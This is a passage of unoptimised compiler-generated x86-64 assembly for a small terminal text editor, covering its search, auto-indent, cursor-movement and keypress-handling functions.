jne LBB28_33
## %bb.32: ## in Loop: Header=BB28_1 Depth=1
movl $1, -288(%rbp)
LBB28_33: ## in Loop: Header=BB28_1 Depth=1
cmpl $0, -288(%rbp)
je LBB28_56
## %bb.34: ## in Loop: Header=BB28_1 Depth=1
movq $0, -336(%rbp)
movl $0, -340(%rbp)
movl -284(%rbp), %eax
movl %eax, -348(%rbp)
movl $0, -344(%rbp)
LBB28_35: ## Parent Loop BB28_1 Depth=1
## => This Inner Loop Header: Depth=2
movl -344(%rbp), %eax
cmpl _E+24(%rip), %eax
jge LBB28_45
## %bb.36: ## in Loop: Header=BB28_35 Depth=2
movl -288(%rbp), %eax
addl -348(%rbp), %eax
movl %eax, -348(%rbp)
cmpl $-1, -348(%rbp)
jne LBB28_38
## %bb.37: ## in Loop: Header=BB28_35 Depth=2
movl _E+24(%rip), %eax
subl $1, %eax
movl %eax, -348(%rbp)
jmp LBB28_41
LBB28_38: ## in Loop: Header=BB28_35 Depth=2
movl -348(%rbp), %eax
cmpl _E+24(%rip), %eax
jne LBB28_40
## %bb.39: ## in Loop: Header=BB28_35 Depth=2
movl $0, -348(%rbp)
LBB28_40: ## in Loop: Header=BB28_35 Depth=2
jmp LBB28_41
LBB28_41: ## in Loop: Header=BB28_35 Depth=2
movq _E+32(%rip), %rax
movslq -348(%rbp), %rcx
imulq $48, %rcx, %rcx
addq %rcx, %rax
movq 24(%rax), %rdi
leaq -272(%rbp), %rsi
callq _strstr
movq %rax, -336(%rbp)
cmpq $0, -336(%rbp)
je LBB28_43
## %bb.42: ## in Loop: Header=BB28_1 Depth=1
movq -336(%rbp), %rax
movq _E+32(%rip), %rcx
movslq -348(%rbp), %rdx
imulq $48, %rdx, %rdx
addq %rdx, %rcx
movq 24(%rcx), %rcx
subq %rcx, %rax
## kill: def $eax killed $eax killed $rax
movl %eax, -340(%rbp)
jmp LBB28_45
LBB28_43: ## in Loop: Header=BB28_35 Depth=2
jmp LBB28_44
LBB28_44: ## in Loop: Header=BB28_35 Depth=2
movl -344(%rbp), %eax
addl $1, %eax
movl %eax, -344(%rbp)
jmp LBB28_35
LBB28_45: ## in Loop: Header=BB28_1 Depth=1
movl $0, -288(%rbp)
## %bb.46: ## in Loop: Header=BB28_1 Depth=1
cmpq $0, -304(%rbp)
je LBB28_48
## %bb.47: ## in Loop: Header=BB28_1 Depth=1
movq _E+32(%rip), %rax
movslq -292(%rbp), %rcx
imulq $48, %rcx, %rcx
addq %rcx, %rax
movq 32(%rax), %rdi
movq -304(%rbp), %rsi
movq _E+32(%rip), %rax
movslq -292(%rbp), %rcx
imulq $48, %rcx, %rcx
addq %rcx, %rax
movslq 8(%rax), %rdx
movq $-1, %rcx
callq ___memcpy_chk
movq $0, -304(%rbp)
LBB28_48: ## in Loop: Header=BB28_1 Depth=1
jmp LBB28_49
LBB28_49: ## in Loop: Header=BB28_1 Depth=1
cmpq $0, -336(%rbp)
je LBB28_55
## %bb.50: ## in Loop: Header=BB28_1 Depth=1
movq _E+32(%rip), %rax
movslq -348(%rbp), %rcx
imulq $48, %rcx, %rcx
addq %rcx, %rax
movq %rax, -360(%rbp)
movl -348(%rbp), %eax
movl %eax, -284(%rbp)
movq -360(%rbp), %rax
cmpq $0, 32(%rax)
je LBB28_52
## %bb.51: ## in Loop: Header=BB28_1 Depth=1
movl -348(%rbp), %eax
movl %eax, -292(%rbp)
movq -360(%rbp), %rax
movslq 8(%rax), %rdi
callq _malloc
movq %rax, -304(%rbp)
movq -304(%rbp), %rdi
movq -360(%rbp), %rax
movq 32(%rax), %rsi
movq -360(%rbp), %rax
movslq 8(%rax), %rdx
movq $-1, %rcx
callq ___memcpy_chk
movq -360(%rbp), %rax
movq 32(%rax), %rdi
movslq -340(%rbp), %rax
addq %rax, %rdi
movslq -280(%rbp), %rdx
movl $8, %esi
movq $-1, %rcx
callq ___memset_chk
LBB28_52: ## in Loop: Header=BB28_1 Depth=1
movl $0, _E+4(%rip)
movl -340(%rbp), %eax
movl %eax, _E(%rip)
movl -348(%rbp), %eax
movl %eax, _E+8(%rip)
movl $0, _E+12(%rip)
movl _E(%rip), %eax
cmpl _E+20(%rip), %eax
jle LBB28_54
## %bb.53: ## in Loop: Header=BB28_1 Depth=1
movl _E(%rip), %eax
subl _E+20(%rip), %eax
movl %eax, -364(%rbp)
movl -364(%rbp), %ecx
movl _E(%rip), %eax
subl %ecx, %eax
movl %eax, _E(%rip)
movl -364(%rbp), %eax
addl _E+12(%rip), %eax
movl %eax, _E+12(%rip)
LBB28_54: ## in Loop: Header=BB28_1 Depth=1
jmp LBB28_55
LBB28_55: ## in Loop: Header=BB28_1 Depth=1
jmp LBB28_56
LBB28_56: ## in Loop: Header=BB28_1 Depth=1
jmp LBB28_1
LBB28_57:
callq ___stack_chk_fail
ud2
.cfi_endproc
## -- End function
.globl _editorIndent ## -- Begin function editorIndent
.p2align 4, 0x90
_editorIndent: ## @editorIndent
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $32, %rsp
movl $0, -8(%rbp)
movl $0, -20(%rbp)
movl $0, -24(%rbp)
movl $0, -28(%rbp)
callq _getchar
movl %eax, -4(%rbp)
LBB29_1: ## =>This Loop Header: Depth=1
## Child Loop BB29_10 Depth 2
## Child Loop BB29_14 Depth 2
## Child Loop BB29_18 Depth 2
## Child Loop BB29_26 Depth 2
## Child Loop BB29_30 Depth 2
## Child Loop BB29_39 Depth 2
## Child Loop BB29_43 Depth 2
## Child Loop BB29_55 Depth 2
## Child Loop BB29_62 Depth 2
## Child Loop BB29_69 Depth 2
## Child Loop BB29_74 Depth 2
cmpl $-1, -4(%rbp)
je LBB29_96
## %bb.2: ## in Loop: Header=BB29_1 Depth=1
cmpl $10, -4(%rbp)
je LBB29_4
## %bb.3: ## in Loop: Header=BB29_1 Depth=1
cmpl $9, -4(%rbp)
jne LBB29_5
LBB29_4: ## in Loop: Header=BB29_1 Depth=1
callq _getchar
movl %eax, -4(%rbp)
jmp LBB29_1
LBB29_5: ## in Loop: Header=BB29_1 Depth=1
cmpl $125, -4(%rbp)
je LBB29_8
## %bb.6: ## in Loop: Header=BB29_1 Depth=1
cmpl $1, -20(%rbp)
jne LBB29_8
## %bb.7: ## in Loop: Header=BB29_1 Depth=1
movl $9, %edi
callq _putchar
movl $0, -24(%rbp)
LBB29_8: ## in Loop: Header=BB29_1 Depth=1
cmpl $123, -4(%rbp)
jne LBB29_24
## %bb.9: ## in Loop: Header=BB29_1 Depth=1
movl $10, %edi
callq _putchar
movl $0, -16(%rbp)
LBB29_10: ## Parent Loop BB29_1 Depth=1
## => This Inner Loop Header: Depth=2
movl -16(%rbp), %eax
cmpl -8(%rbp), %eax
jge LBB29_13
## %bb.11: ## in Loop: Header=BB29_10 Depth=2
movl $9, %edi
callq _putchar
## %bb.12: ## in Loop: Header=BB29_10 Depth=2
movl -16(%rbp), %eax
addl $1, %eax
movl %eax, -16(%rbp)
jmp LBB29_10
LBB29_13: ## in Loop: Header=BB29_1 Depth=1
movl $123, %edi
callq _putchar
movl -8(%rbp), %eax
addl $1, %eax
movl %eax, -8(%rbp)
movl $10, %edi
callq _putchar
movl $0, -12(%rbp)
LBB29_14: ## Parent Loop BB29_1 Depth=1
## => This Inner Loop Header: Depth=2
movl -12(%rbp), %eax
cmpl -8(%rbp), %eax
jge LBB29_17
## %bb.15: ## in Loop: Header=BB29_14 Depth=2
movl $9, %edi
callq _putchar
## %bb.16: ## in Loop: Header=BB29_14 Depth=2
movl -12(%rbp), %eax
addl $1, %eax
movl %eax, -12(%rbp)
jmp LBB29_14
LBB29_17: ## in Loop: Header=BB29_1 Depth=1
callq _getchar
movl %eax, -4(%rbp)
LBB29_18: ## Parent Loop BB29_1 Depth=1
## => This Inner Loop Header: Depth=2
movb $1, %al
cmpl $32, -4(%rbp)
movb %al, -29(%rbp) ## 1-byte Spill
je LBB29_21
## %bb.19: ## in Loop: Header=BB29_18 Depth=2
movb $1, %al
cmpl $10, -4(%rbp)
movb %al, -29(%rbp) ## 1-byte Spill
je LBB29_21
## %bb.20: ## in Loop: Header=BB29_18 Depth=2
cmpl $9, -4(%rbp)
sete %al
movb %al, -29(%rbp) ## 1-byte Spill
LBB29_21: ## in Loop: Header=BB29_18 Depth=2
movb -29(%rbp), %al ## 1-byte Reload
testb $1, %al
jne LBB29_22
jmp LBB29_23
LBB29_22: ## in Loop: Header=BB29_18 Depth=2
callq _getchar
movl %eax, -4(%rbp)
jmp LBB29_18
LBB29_23: ## in Loop: Header=BB29_1 Depth=1
movl $1, -24(%rbp)
jmp LBB29_93
LBB29_24: ## in Loop: Header=BB29_1 Depth=1
cmpl $125, -4(%rbp)
jne LBB29_36
## %bb.25: ## in Loop: Header=BB29_1 Depth=1
movl -8(%rbp), %eax
addl $-1, %eax
movl %eax, -8(%rbp)
movl $125, %edi
callq _putchar
movl $10, %edi
callq _putchar
movl $0, -12(%rbp)
LBB29_26: ## Parent Loop BB29_1 Depth=1
## => This Inner Loop Header: Depth=2
movl -12(%rbp), %eax
movl -8(%rbp), %ecx
subl $1, %ecx
cmpl %ecx, %eax
jge LBB29_29
## %bb.27: ## in Loop: Header=BB29_26 Depth=2
movl $9, %edi
callq _putchar
## %bb.28: ## in Loop: Header=BB29_26 Depth=2
movl -12(%rbp), %eax
addl $1, %eax
movl %eax, -12(%rbp)
jmp LBB29_26
LBB29_29: ## in Loop: Header=BB29_1 Depth=1
callq _getchar
movl %eax, -4(%rbp)
LBB29_30: ## Parent Loop BB29_1 Depth=1
## => This Inner Loop Header: Depth=2
movb $1, %al
cmpl $32, -4(%rbp)
movb %al, -30(%rbp) ## 1-byte Spill
je LBB29_33
## %bb.31: ## in Loop: Header=BB29_30 Depth=2
movb $1, %al
cmpl $10, -4(%rbp)
movb %al, -30(%rbp) ## 1-byte Spill
je LBB29_33
## %bb.32: ## in Loop: Header=BB29_30 Depth=2
cmpl $9, -4(%rbp)
sete %al
movb %al, -30(%rbp) ## 1-byte Spill
LBB29_33: ## in Loop: Header=BB29_30 Depth=2
movb -30(%rbp), %al ## 1-byte Reload
testb $1, %al
jne LBB29_34
jmp LBB29_35
LBB29_34: ## in Loop: Header=BB29_30 Depth=2
callq _getchar
movl %eax, -4(%rbp)
jmp LBB29_30
LBB29_35: ## in Loop: Header=BB29_1 Depth=1
movl $1, -24(%rbp)
jmp LBB29_92
LBB29_36: ## in Loop: Header=BB29_1 Depth=1
cmpl $59, -4(%rbp)
jne LBB29_51
## %bb.37: ## in Loop: Header=BB29_1 Depth=1
movl $59, %edi
callq _putchar
cmpl $0, -28(%rbp)
jne LBB29_49
## %bb.38: ## in Loop: Header=BB29_1 Depth=1
movl $10, %edi
callq _putchar
movl $0, -12(%rbp)
LBB29_39: ## Parent Loop BB29_1 Depth=1
## => This Inner Loop Header: Depth=2
movl -12(%rbp), %eax
movl -8(%rbp), %ecx
subl $1, %ecx
cmpl %ecx, %eax
jge LBB29_42
## %bb.40: ## in Loop: Header=BB29_39 Depth=2
movl $9, %edi
callq _putchar
## %bb.41: ## in Loop: Header=BB29_39 Depth=2
movl -12(%rbp), %eax
addl $1, %eax
movl %eax, -12(%rbp)
jmp LBB29_39
LBB29_42: ## in Loop: Header=BB29_1 Depth=1
callq _getchar
movl %eax, -4(%rbp)
LBB29_43: ## Parent Loop BB29_1 Depth=1
## => This Inner Loop Header: Depth=2
movb $1, %al
cmpl $32, -4(%rbp)
movb %al, -31(%rbp) ## 1-byte Spill
je LBB29_46
## %bb.44: ## in Loop: Header=BB29_43 Depth=2
movb $1, %al
cmpl $10, -4(%rbp)
movb %al, -31(%rbp) ## 1-byte Spill
je LBB29_46
## %bb.45: ## in Loop: Header=BB29_43 Depth=2
cmpl $9, -4(%rbp)
sete %al
movb %al, -31(%rbp) ## 1-byte Spill
LBB29_46: ## in Loop: Header=BB29_43 Depth=2
movb -31(%rbp), %al ## 1-byte Reload
testb $1, %al
jne LBB29_47
jmp LBB29_48
LBB29_47: ## in Loop: Header=BB29_43 Depth=2
callq _getchar
movl %eax, -4(%rbp)
jmp LBB29_43
LBB29_48: ## in Loop: Header=BB29_1 Depth=1
movl $1, -24(%rbp)
movl $1, -20(%rbp)
jmp LBB29_50
LBB29_49: ## in Loop: Header=BB29_1 Depth=1
movl $0, -24(%rbp)
LBB29_50: ## in Loop: Header=BB29_1 Depth=1
jmp LBB29_91
LBB29_51: ## in Loop: Header=BB29_1 Depth=1
cmpl $39, -4(%rbp)
jne LBB29_58
## %bb.52: ## in Loop: Header=BB29_1 Depth=1
movl -4(%rbp), %edi
callq _putchar
callq _getchar
movl %eax, -4(%rbp)
cmpl $92, -4(%rbp)
jne LBB29_54
## %bb.53: ## in Loop: Header=BB29_1 Depth=1
movl -4(%rbp), %edi
callq _putchar
callq _getchar
movl %eax, -4(%rbp)
movl -4(%rbp), %edi
callq _putchar
callq _getchar
movl %eax, -4(%rbp)
LBB29_54: ## in Loop: Header=BB29_1 Depth=1
jmp LBB29_55
LBB29_55: ## Parent Loop BB29_1 Depth=1
## => This Inner Loop Header: Depth=2
cmpl $39, -4(%rbp)
je LBB29_57
## %bb.56: ## in Loop: Header=BB29_55 Depth=2
movl -4(%rbp), %edi
callq _putchar
callq _getchar
movl %eax, -4(%rbp)
jmp LBB29_55
LBB29_57: ## in Loop: Header=BB29_1 Depth=1
movl -4(%rbp), %edi
callq _putchar
movl $0, -24(%rbp)
jmp LBB29_90
LBB29_58: ## in Loop: Header=BB29_1 Depth=1
cmpl $34, -4(%rbp)
jne LBB29_67
## %bb.59: ## in Loop: Header=BB29_1 Depth=1
movl -4(%rbp), %edi
callq _putchar
callq _getchar
movl %eax, -4(%rbp)
cmpl $92, -4(%rbp)
jne LBB29_61
## %bb.60: ## in Loop: Header=BB29_1 Depth=1
movl -4(%rbp), %edi
callq _putchar
callq _getchar
movl %eax, -4(%rbp)
movl -4(%rbp), %edi
callq _putchar
callq _getchar
movl %eax, -4(%rbp)
LBB29_61: ## in Loop: Header=BB29_1 Depth=1
jmp LBB29_62
LBB29_62: ## Parent Loop BB29_1 Depth=1
## => This Inner Loop Header: Depth=2
cmpl $34, -4(%rbp)
je LBB29_66
## %bb.63: ## in Loop: Header=BB29_62 Depth=2
movl -4(%rbp), %edi
callq _putchar
callq _getchar
movl %eax, -4(%rbp)
cmpl $92, -4(%rbp)
jne LBB29_65
## %bb.64: ## in Loop: Header=BB29_62 Depth=2
movl -4(%rbp), %edi
callq _putchar
callq _getchar
movl %eax, -4(%rbp)
movl -4(%rbp), %edi
callq _putchar
callq _getchar
movl %eax, -4(%rbp)
LBB29_65: ## in Loop: Header=BB29_62 Depth=2
jmp LBB29_62
LBB29_66: ## in Loop: Header=BB29_1 Depth=1
movl -4(%rbp), %edi
callq _putchar
movl $0, -24(%rbp)
jmp LBB29_89
LBB29_67: ## in Loop: Header=BB29_1 Depth=1
cmpl $35, -4(%rbp)
jne LBB29_72
## %bb.68: ## in Loop: Header=BB29_1 Depth=1
movl -4(%rbp), %edi
callq _putchar
LBB29_69: ## Parent Loop BB29_1 Depth=1
## => This Inner Loop Header: Depth=2
cmpl $10, -4(%rbp)
je LBB29_71
## %bb.70: ## in Loop: Header=BB29_69 Depth=2
callq _getchar
movl %eax, -4(%rbp)
movl -4(%rbp), %edi
callq _putchar
jmp LBB29_69
LBB29_71: ## in Loop: Header=BB29_1 Depth=1
movl $0, -24(%rbp)
jmp LBB29_88
LBB29_72: ## in Loop: Header=BB29_1 Depth=1
cmpl $32, -4(%rbp)
jne LBB29_80
## %bb.73: ## in Loop: Header=BB29_1 Depth=1
movl -4(%rbp), %edi
callq _putchar
callq _getchar
movl %eax, -4(%rbp)
LBB29_74: ## Parent Loop BB29_1 Depth=1
## => This Inner Loop Header: Depth=2
movb $1, %al
cmpl $32, -4(%rbp)
movb %al, -32(%rbp) ## 1-byte Spill
je LBB29_77
## %bb.75: ## in Loop: Header=BB29_74 Depth=2
movb $1, %al
cmpl $10, -4(%rbp)
movb %al, -32(%rbp) ## 1-byte Spill
je LBB29_77
## %bb.76: ## in Loop: Header=BB29_74 Depth=2
cmpl $9, -4(%rbp)
sete %al
movb %al, -32(%rbp) ## 1-byte Spill
LBB29_77: ## in Loop: Header=BB29_74 Depth=2
movb -32(%rbp), %al ## 1-byte Reload
testb $1, %al
jne LBB29_78
jmp LBB29_79
LBB29_78: ## in Loop: Header=BB29_74 Depth=2
callq _getchar
movl %eax, -4(%rbp)
jmp LBB29_74
LBB29_79: ## in Loop: Header=BB29_1 Depth=1
movl $1, -24(%rbp)
jmp LBB29_87
LBB29_80: ## in Loop: Header=BB29_1 Depth=1
cmpl $40, -4(%rbp)
jne LBB29_82
## %bb.81: ## in Loop: Header=BB29_1 Depth=1
movl -4(%rbp), %edi
callq _putchar
movl -28(%rbp), %eax
addl $1, %eax
movl %eax, -28(%rbp)
movl $0, -24(%rbp)
jmp LBB29_86
LBB29_82: ## in Loop: Header=BB29_1 Depth=1
cmpl $41, -4(%rbp)
jne LBB29_84
## %bb.83: ## in Loop: Header=BB29_1 Depth=1
movl -4(%rbp), %edi
callq _putchar
movl -28(%rbp), %eax
addl $-1, %eax
movl %eax, -28(%rbp)
movl $0, -24(%rbp)
jmp LBB29_85
LBB29_84: ## in Loop: Header=BB29_1 Depth=1
movl -4(%rbp), %edi
callq _putchar
movl $0, -20(%rbp)
movl $0, -24(%rbp)
LBB29_85: ## in Loop: Header=BB29_1 Depth=1
jmp LBB29_86
LBB29_86: ## in Loop: Header=BB29_1 Depth=1
jmp LBB29_87
LBB29_87: ## in Loop: Header=BB29_1 Depth=1
jmp LBB29_88
LBB29_88: ## in Loop: Header=BB29_1 Depth=1
jmp LBB29_89
LBB29_89: ## in Loop: Header=BB29_1 Depth=1
jmp LBB29_90
LBB29_90: ## in Loop: Header=BB29_1 Depth=1
jmp LBB29_91
LBB29_91: ## in Loop: Header=BB29_1 Depth=1
jmp LBB29_92
LBB29_92: ## in Loop: Header=BB29_1 Depth=1
jmp LBB29_93
LBB29_93: ## in Loop: Header=BB29_1 Depth=1
cmpl $0, -24(%rbp)
jne LBB29_95
## %bb.94: ## in Loop: Header=BB29_1 Depth=1
callq _getchar
movl %eax, -4(%rbp)
LBB29_95: ## in Loop: Header=BB29_1 Depth=1
jmp LBB29_1
LBB29_96:
addq $32, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _editorMoveCursor ## -- Begin function editorMoveCursor
.p2align 4, 0x90
_editorMoveCursor: ## @editorMoveCursor
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movl %edi, -4(%rbp)
movl _E+8(%rip), %eax
addl _E+4(%rip), %eax
movl %eax, -8(%rbp)
movl _E+12(%rip), %eax
addl _E(%rip), %eax
movl %eax, -12(%rbp)
movl -8(%rbp), %eax
cmpl _E+24(%rip), %eax
jl LBB30_2
## %bb.1:
xorl %eax, %eax
## kill: def $rax killed $eax
movq %rax, -32(%rbp) ## 8-byte Spill
jmp LBB30_3
LBB30_2:
movq _E+32(%rip), %rax
movslq -8(%rbp), %rcx
imulq $48, %rcx, %rcx
addq %rcx, %rax
movq %rax, -32(%rbp) ## 8-byte Spill
LBB30_3:
movq -32(%rbp), %rax ## 8-byte Reload
movq %rax, -24(%rbp)
movl -4(%rbp), %eax
addl $-1000, %eax ## imm = 0xFC18
movl %eax, %ecx
movq %rcx, -40(%rbp) ## 8-byte Spill
subl $3, %eax
ja LBB30_41
## %bb.52:
movq -40(%rbp), %rax ## 8-byte Reload
leaq LJTI30_0(%rip), %rcx
movslq (%rcx,%rax,4), %rax
addq %rcx, %rax
jmpq *%rax
LBB30_4:
cmpl $0, _E(%rip)
jne LBB30_13
## %bb.5:
cmpl $0, _E+12(%rip)
je LBB30_7
## %bb.6:
movl _E+12(%rip), %eax
addl $-1, %eax
movl %eax, _E+12(%rip)
jmp LBB30_12
LBB30_7:
cmpl $0, -8(%rbp)
jle LBB30_11
## %bb.8:
movl _E+4(%rip), %eax
addl $-1, %eax
movl %eax, _E+4(%rip)
movq _E+32(%rip), %rax
movl -8(%rbp), %ecx
subl $1, %ecx
movslq %ecx, %rcx
imulq $48, %rcx, %rcx
addq %rcx, %rax
movl 4(%rax), %eax
movl %eax, _E(%rip)
movl _E(%rip), %eax
movl _E+20(%rip), %ecx
subl $1, %ecx
cmpl %ecx, %eax
jle LBB30_10
## %bb.9:
movl _E(%rip), %eax
subl _E+20(%rip), %eax
addl $1, %eax
movl %eax, _E+12(%rip)
movl _E+20(%rip), %eax
subl $1, %eax
movl %eax, _E(%rip)
LBB30_10:
jmp LBB30_11
LBB30_11:
jmp LBB30_12
LBB30_12:
jmp LBB30_14
LBB30_13:
movl _E(%rip), %eax
subl $1, %eax
movl %eax, _E(%rip)
LBB30_14:
jmp LBB30_41
LBB30_15:
cmpq $0, -24(%rbp)
je LBB30_21
## %bb.16:
movl -12(%rbp), %eax
movq -24(%rbp), %rcx
cmpl 4(%rcx), %eax
jge LBB30_21
## %bb.17:
movl _E(%rip), %eax
movl _E+20(%rip), %ecx
subl $1, %ecx
cmpl %ecx, %eax
jne LBB30_19
## %bb.18:
movl _E+12(%rip), %eax
addl $1, %eax
movl %eax, _E+12(%rip)
jmp LBB30_20
LBB30_19:
movl _E(%rip), %eax
addl $1, %eax
movl %eax, _E(%rip)
LBB30_20:
jmp LBB30_28
LBB30_21:
cmpq $0, -24(%rbp)
je LBB30_27
## %bb.22:
movl -12(%rbp), %eax
movq -24(%rbp), %rcx
cmpl 4(%rcx), %eax
jne LBB30_27
## %bb.23:
movl $0, _E(%rip)
movl $0, _E+12(%rip)
movl _E+4(%rip), %eax
movl _E+16(%rip), %ecx
subl $1, %ecx
cmpl %ecx, %eax
jne LBB30_25
## %bb.24:
movl _E+8(%rip), %eax
addl $1, %eax
movl %eax, _E+8(%rip)
jmp LBB30_26
LBB30_25:
movl _E+4(%rip), %eax
addl $1, %eax
movl %eax, _E+4(%rip)
LBB30_26:
jmp LBB30_27
LBB30_27:
jmp LBB30_28
LBB30_28:
jmp LBB30_41
LBB30_29:
cmpl $0, _E+4(%rip)
jne LBB30_33
## %bb.30:
cmpl $0, _E+8(%rip)
je LBB30_32
## %bb.31:
movl _E+8(%rip), %eax
addl $-1, %eax
movl %eax, _E+8(%rip)
LBB30_32:
jmp LBB30_34
LBB30_33:
movl _E+4(%rip), %eax
subl $1, %eax
movl %eax, _E+4(%rip)
LBB30_34:
jmp LBB30_41
LBB30_35:
movl -8(%rbp), %eax
cmpl _E+24(%rip), %eax
jge LBB30_40
## %bb.36:
movl _E+4(%rip), %eax
movl _E+16(%rip), %ecx
subl $1, %ecx
cmpl %ecx, %eax
jne LBB30_38
## %bb.37:
movl _E+8(%rip), %eax
addl $1, %eax
movl %eax, _E+8(%rip)
jmp LBB30_39
LBB30_38:
movl _E+4(%rip), %eax
addl $1, %eax
movl %eax, _E+4(%rip)
LBB30_39:
jmp LBB30_40
LBB30_40:
jmp LBB30_41
LBB30_41:
movl _E+8(%rip), %eax
addl _E+4(%rip), %eax
movl %eax, -8(%rbp)
movl _E+12(%rip), %eax
addl _E(%rip), %eax
movl %eax, -12(%rbp)
movl -8(%rbp), %eax
cmpl _E+24(%rip), %eax
jl LBB30_43
## %bb.42:
xorl %eax, %eax
## kill: def $rax killed $eax
movq %rax, -48(%rbp) ## 8-byte Spill
jmp LBB30_44
LBB30_43:
movq _E+32(%rip), %rax
movslq -8(%rbp), %rcx
imulq $48, %rcx, %rcx
addq %rcx, %rax
movq %rax, -48(%rbp) ## 8-byte Spill
LBB30_44:
movq -48(%rbp), %rax ## 8-byte Reload
movq %rax, -24(%rbp)
cmpq $0, -24(%rbp)
je LBB30_46
## %bb.45:
movq -24(%rbp), %rax
movl 4(%rax), %eax
movl %eax, -52(%rbp) ## 4-byte Spill
jmp LBB30_47
LBB30_46:
xorl %eax, %eax
movl %eax, -52(%rbp) ## 4-byte Spill
jmp LBB30_47
LBB30_47:
movl -52(%rbp), %eax ## 4-byte Reload
movl %eax, -16(%rbp)
movl -12(%rbp), %eax
cmpl -16(%rbp), %eax
jle LBB30_51
## %bb.48:
movl -12(%rbp), %ecx
subl -16(%rbp), %ecx
movl _E(%rip), %eax
subl %ecx, %eax
movl %eax, _E(%rip)
cmpl $0, _E(%rip)
jge LBB30_50
## %bb.49:
movl _E(%rip), %eax
addl _E+12(%rip), %eax
movl %eax, _E+12(%rip)
movl $0, _E(%rip)
LBB30_50:
jmp LBB30_51
LBB30_51:
popq %rbp
retq
.cfi_endproc
.p2align 2, 0x90
.data_region jt32
.set L30_0_set_4, LBB30_4-LJTI30_0
.set L30_0_set_15, LBB30_15-LJTI30_0
.set L30_0_set_29, LBB30_29-LJTI30_0
.set L30_0_set_35, LBB30_35-LJTI30_0
LJTI30_0:
.long L30_0_set_4
.long L30_0_set_15
.long L30_0_set_29
.long L30_0_set_35
.end_data_region
## -- End function
.globl _editorProcessKeypress ## -- Begin function editorProcessKeypress
.p2align 4, 0x90
_editorProcessKeypress: ## @editorProcessKeypress
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movl %edi, -4(%rbp)
movl -4(%rbp), %edi
callq _editorReadKey
movl %eax, -8(%rbp)
movl -8(%rbp), %eax
movl %eax, -16(%rbp) ## 4-byte Spill
subl $3, %eax
je LBB31_2
jmp LBB31_27
LBB31_27:
movl -16(%rbp), %eax ## 4-byte Reload
subl $6, %eax
je LBB31_8
jmp LBB31_28
LBB31_28:
movl -16(%rbp), %eax ## 4-byte Reload
subl $8, %eax
je LBB31_9
jmp LBB31_29
LBB31_29:
movl -16(%rbp), %eax ## 4-byte Reload
subl $12, %eax
je LBB31_22
jmp LBB31_30
LBB31_30:
movl -16(%rbp), %eax ## 4-byte Reload
subl $13, %eax
je LBB31_1
jmp LBB31_31
LBB31_31:
movl -16(%rbp), %eax ## 4-byte Reload
subl $17, %eax
je LBB31_3
jmp LBB31_32
LBB31_32:
movl -16(%rbp), %eax ## 4-byte Reload
subl $19, %eax
je LBB31_7
jmp LBB31_33
LBB31_33:
movl -16(%rbp), %eax ## 4-byte Reload
subl $27, %eax
je LBB31_23
jmp LBB31_34
LBB31_34:
movl -16(%rbp), %eax ## 4-byte Reload
subl $127, %eax
je LBB31_9
jmp LBB31_35
LBB31_35:
movl -16(%rbp), %eax ## 4-byte Reload
addl $-1000, %eax ## imm = 0xFC18
subl $4, %eax
jb LBB31_21
jmp LBB31_36
LBB31_36:
movl -16(%rbp), %eax ## 4-byte Reload
subl $1004, %eax ## imm = 0x3EC
je LBB31_9
jmp LBB31_37
LBB31_37:
movl -16(%rbp), %eax ## 4-byte Reload
addl $-1007, %eax ## imm = 0xFC11
subl $2, %eax
jb LBB31_10
jmp LBB31_24
LBB31_1:
callq _editorInsertNewline
jmp LBB31_25
LBB31_2:
callq _editorIndent
jmp LBB31_25
LBB31_3:
cmpl $0, _E+40(%rip)
je LBB31_6
## %bb.4:
cmpl $0, _editorProcessKeypress.quit_times(%rip)
je LBB31_6
## %bb.5:
movl _editorProcessKeypress.quit_times(%rip), %esi
leaq L_.str.53(%rip), %rdi
movb $0, %al
callq _editorSetStatusMessage
movl _editorProcessKeypress.quit_times(%rip), %eax
addl $-1, %eax
movl %eax, _editorProcessKeypress.quit_times(%rip)
jmp LBB31_26
LBB31_6:
xorl %edi, %edi
callq _exit
LBB31_7:
callq _editorSave
jmp LBB31_25
LBB31_8:
movl -4(%rbp), %edi
callq _editorFind
jmp LBB31_25
LBB31_9:
callq _editorDelChar
jmp LBB31_25
LBB31_10:
cmpl $1007, -8(%rbp) ## imm = 0x3EF
jne LBB31_13
## %bb.11:
cmpl $0, _E+4(%rip)
je LBB31_13
## %bb.12:
movl $0, _E+4(%rip)
jmp LBB31_17
LBB31_13:
cmpl $1008, -8(%rbp) ## imm = 0x3F0
jne LBB31_16
## %bb.14:
movl _E+4(%rip), %eax
movl _E+16(%rip), %ecx
subl $1, %ecx
cmpl %ecx, %eax
je LBB31_16
## %bb.15:
movl _E+16(%rip), %eax
subl $1, %eax
movl %eax, _E+4(%rip)
LBB31_16:
jmp LBB31_17
LBB31_17:
movl _E+16(%rip), %eax
movl %eax, -12(%rbp)
LBB31_18: ## =>This Inner Loop Header: Depth=1
movl -12(%rbp), %eax
movl %eax, %ecx
addl $-1, %ecx
movl %ecx, -12(%rbp)
cmpl $0, %eax
je LBB31_20
## %bb.19: ## in Loop: Header=BB31_18 Depth=1
movl -8(%rbp), %ecx
movl $1003, %edi ## imm = 0x3EB
movl $1002, %eax ## imm = 0x3EA
cmpl $1007, %ecx ## imm = 0x3EF
cmovel %eax, %edi
callq _editorMoveCursor
jmp LBB31_18
LBB31_20:
jmp LBB31_25
LBB31_21:
movl -8(%rbp), %edi
callq _editorMoveCursor
jmp LBB31_25
LBB31_22:
jmp LBB31_25
LBB31_23:
jmp LBB31_25
LBB31_24:
movl -8(%rbp), %edi
callq _editorInsertChar
LBB31_25:
movl $3, _editorProcessKeypress.quit_times(%rip)
LBB31_26:
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _editorFileWasModified ## -- Begin function editorFileWasModified
.p2align 4, 0x90
_editorFileWasModified: ## @editorFileWasModified
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movl _E+40(%rip), %eax
